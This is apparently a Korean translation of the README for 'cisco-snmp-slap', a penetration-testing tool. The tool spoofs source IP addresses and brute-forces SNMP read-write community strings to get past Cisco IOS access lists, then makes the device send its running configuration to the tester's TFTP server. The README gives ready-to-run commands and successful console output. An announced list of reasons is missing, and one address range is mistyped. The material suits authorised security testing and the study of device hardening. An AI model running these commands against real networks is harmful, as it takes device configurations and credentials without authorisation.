
IP 스푸핑과 SNMP 커뮤니티 문자열 무차별 대입을 통해 Cisco IOS 장치의 ACL을 우회하고, TFTP로 구성 파일을 유출하는 도구
cisco-snmp-slap는 Cisco IOS 장치에서 SNMP 서비스를 보호하는 ACL을 우회하기 위해 IP 주소 스푸핑을 활용합니다.
일반적으로 IP 스푸핑은 DoS를 제외한 실제 공격에서 사용이 제한적입니다. TCP 서비스는 초기 핸드셰이크를 완료할 수 없습니다. UDP 패킷은 스푸핑하기 더 쉽지만 반환 패킷이 종종 잘못된 주소로 전송되어 반환된 정보를 수집하기 어렵습니다.
하지만 공격자가 SNMP rw 커뮤니티 문자열과 유효한 출발지 주소를 추측할 수 있다면 SNMP MIB를 설정할 수 있습니다. 이를 가장 확실하게 활용하는 방법 중 하나는 Cisco SNMP 서비스가 IOS 구성 파일을 다른 장치로 보내도록 하는 것입니다.
이 도구를 사용하면 하나 이상의 IP 주소에서 Cisco 장치를 대상으로 하나 이상의 커뮤니티 문자열을 시도할 수 있습니다. IP 주소를 지정할 때 일련의 출발지 주소 범위를 순차적으로 또는 무작위로 탐색하도록 선택할 수 있습니다.
확인할 출발지 IP 주소 범위를 지정하려면 초기 출발지 주소와 IP 마스크를 제공합니다. IP 마스크에 설정된 모든 비트는 초기 출발지 주소를 변경하여 출발지 IP 주소를 생성하는 데 사용됩니다.
예를 들어, 출발지 주소 10.0.0.0과 IP 마스크 0.0.0.255가 제공되면 스크립트는 10.0.0.0부터 10.0.0.255까지 주소를 탐색합니다.
설정된 비트는 서브넷 마스크처럼 반드시 연속적일 필요는 없습니다. 예를 들어 마스크 0.128.1.255는 유효하며 10.0,128.0-1.0-255 범위를 탐색합니다.
IP 주소 범위를 무작위 또는 순차적으로 확인할 때 TFTP 디렉터리의 루트 경로를 입력해야 합니다. 스크립트는 이 디렉터리를 확인하여 파일이 성공적으로 전송되었는지 확인합니다.
이 도구는 펜테스트 중 Cisco 레이어 3 스위치를 대상으로 작성되었지만 다른 용도로도 사용될 수 있습니다. 이 장치들을 상대로 잘 작동하는 이유는 다음과 같습니다:
하지만 사용자들이 이 스크립트와 소스 코드에서 다른 흥미로운 용도를 찾기를 바랍니다.
이 예제에서는 'cisco' 커뮤니티 문자열을 사용하여 SNMP 서비스를 보호하는 액세스 리스트가 있는 간단한 IOS 장치를 사용하겠습니다.
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
한 IOS 장치의 IP 주소는 10.0.0.1입니다.
펜테스터는 IP 주소 10.0.0.2를 가지고 있으며 TFTP 서버를 시작했습니다.
테스터가 이 모든 것을 알고 있다면 원샷 단일 모드를 사용하여 장치의 구성 파일을 가져옵니다. 예:
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
테스터가 세부 사항을 모른다면 추측을 시도할 수 있습니다. 테스터가 정찰을 좀 해서 모든 내부 주소가 10.0.0.0/8 범위라는 것을 알아냈다고 가정해 봅시다.
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
이 명령은 모든 /24를 검색합니다. 테스터는 단일 IP 주소만이 아니라 전체 서브넷이 액세스가 허용될 것이라고 가정하여 시간을 절약할 수 있기를 기대합니다.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
프로그램이 10.100.100.0/24 범위에 들어간 후 몇 개의 IP 주소 뒤에 종료되고 성공을 알리는 것을 볼 수 있습니다. 어떤 출발지 주소가 성공했는지 확인할 수 없기 때문이며, 구성 파일이 tftproot에 나타난 후 요청 중 하나가 성공했음을 판단합니다. 실행 중인 구성을 방금 확보했으므로 이제 ACL의 세부 사항을 직접 알아낼 수 있습니다.
단일 커뮤니티 문자열을 지정하는 대신 사용할 커뮤니티 문자열 목록을 제공할 수도 있습니다. 모드 이름은 '_l' 접미사가 붙는 것 외에는 동일합니다.
예를 들어 list.txt에 있는 커뮤니티 문자열 목록을 사용하여 동일한 공격을 반복하려면 다음 인수를 사용해야 합니다.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
이제 각 IP 주소는 list.txt의 각 커뮤니티 문자열로 확인됩니다.
프로그래밍 언어 중에서 Python은 간단하고 읽고 쓰기 쉬운 언어이며, 발견한 문제를 직접 디버그하고 수정한 후 변경 사항을 제게 보내 주시면 NCC Github의 다른 사용자들과 공유하겠습니다.
도움이 필요하면 [email protected]으로 연락하실 수 있습니다. 최선을 다해 도와드리겠지만, 저는 전임 개발자가 아니며(제 코드를 보면 분명하시겠지만!) 귀하의 문의에 즉시 시간을 내지 못할 수도 있다는 점을 알아두시기 바랍니다.